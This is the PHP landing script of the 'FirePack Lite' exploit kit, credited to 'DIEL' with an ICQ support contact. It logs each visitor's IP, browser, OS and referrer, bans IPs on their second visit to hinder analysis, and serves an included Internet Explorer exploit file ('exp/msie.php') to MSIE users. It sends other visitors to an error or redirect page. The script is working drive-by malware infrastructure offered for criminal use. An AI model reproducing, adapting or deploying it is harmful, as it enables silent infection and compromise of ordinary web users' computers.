//~~~~~~~~~~~~~~~~~~~~~~\\
// FirePack Lite v.0.17 \\
//    Coded by DIEL     \\
// Support ICQ: 475-438 \\
//~~~~~~~~~~~~~~~~~~~~~~\\

 error_reporting(0);
 @set_time_limit(0);
 @ini_set('max_execution_time', 0);

 $user_agent = getenv("HTTP_USER_AGENT");
 $ref = substr(getenv("HTTP_REFERER"),0,40);
 $ip = getenv("REMOTE_ADDR");
 $date = date("j-n-Y");
 $time = date("H:i:s");

 include 'config.php';
 include 'functions.php';

 # IP ban
 if ($ip_bans==1) {
 $ip_ban=getcwd().'/ip_ban.txt';
 $banfile=file($ip_ban);
 $s=0;
 for($i=0;$i<=count($banfile); $i++) { $ipban=trim($banfile[$i]);
 if ($ip==$ipban) {
 $s=1;
 $i=count($banfile); }} 
 if ($s==1) { 
 include("error.php"); exit; }
 else {
 $tban=fopen("ip_ban.txt","a+b");
 fwrite($tban,$ip."\n");
 fclose($tban); }}

 # Detect Browser
 if(eregi("(msie) ([0-9]{1,2})", $user_agent, $bv))
  {
    $brow = "MSIE";
    $ver = $bv[2];
  }
 elseif(strstr($user_agent, "Nav")) $brow = "Netscape";
 elseif(strstr($user_agent, "Firefox")) $brow = "Firefox";
 elseif(strstr($user_agent, "Opera")) $brow = "Opera";
 elseif(strstr($user_agent, "Lynx")) $brow = "Lynx";
 elseif(strstr($user_agent, "WebTV")) $brow = "WebTV";
 elseif(strstr($user_agent, "Bot")) $brow = "Bot";
 elseif(strstr($user_agent, "Konqueror")) $brow = "Konqueror";
 else $brow = "Other";

 # Detect System
 if(strstr($user_agent, "Windows 95")) $os = "Windows 95";
 elseif(strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME";
 elseif(strstr($user_agent, "Windows 98")) $os = "Windows 98";
 elseif(strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000";
 elseif(strstr($user_agent, "SV1")) $os = "Windows XP";
 elseif(strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP";
 elseif(strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003";
 elseif(strstr($user_agent, "Windows NT 6.0")) $os = "Windows Vista";
 else $os = "Other";

 # Os statistic
 $fos=fopen("os.txt",'r');
 flock($fos,2);
 $xos=fread($fos,filesize("os.txt"));
 flock($fos,3);
 fclose($fos);
 list($w95,$wme,$w98,$w2k,$wxp,$w23,$wvs)=explode("|",$xos);

 if($os=="Windows 95")
   {
     $w95++;
   }

 if($os=="Windows ME")
   {
     $wme++;
   }

 if($os=="Windows 98")
   {
     $w98++;
   }

 if($os=="Windows 2000")
   {
     $w2k++;
   }

 if($os=="Windows XP")
   {
     $wxp++;
   }

 if($os=="Windows 2003")
   {
     $w23++;
   }

 if($os=="Windows Vista")
   {
     $wvs++;
   }

 $wos=fopen("os.txt",'w+');
 flock($wos,2);
 fputs($wos,$w95."|".$wme."|".$w98."|".$w2k."|".$wxp."|".$w23."|".$wvs);
 flock($wos,3);
 fclose($wos);

# Referer's statistic
if (empty($ref)) $ref = "/index.php";
$ffile=fopen("ref.txt", "a+");
fwrite($ffile, '<TR><TD><NOBR>' . "$ip" . '</NOBR></TD><TD><NOBR>' . "$brow" . '</NOBR></TD><TD><NOBR>' . $os . '</NOBR></TD><TD><NOBR>' . "$ref" . '</NOBR></TD><TD><NOBR>' . "$date " . "$time"  . '</NOBR></TD></TR>');
fclose($ffile);


if ($brow=="MSIE") 
  {
    msie_stat();
    include("exp/msie.php");
  }

else
  {
    other_stat();
    //header("location: $redir"); // Your redirect page
    include 'error.php';          // Your include page
    //echo '<iframe';             // Your iframe code
  }

?>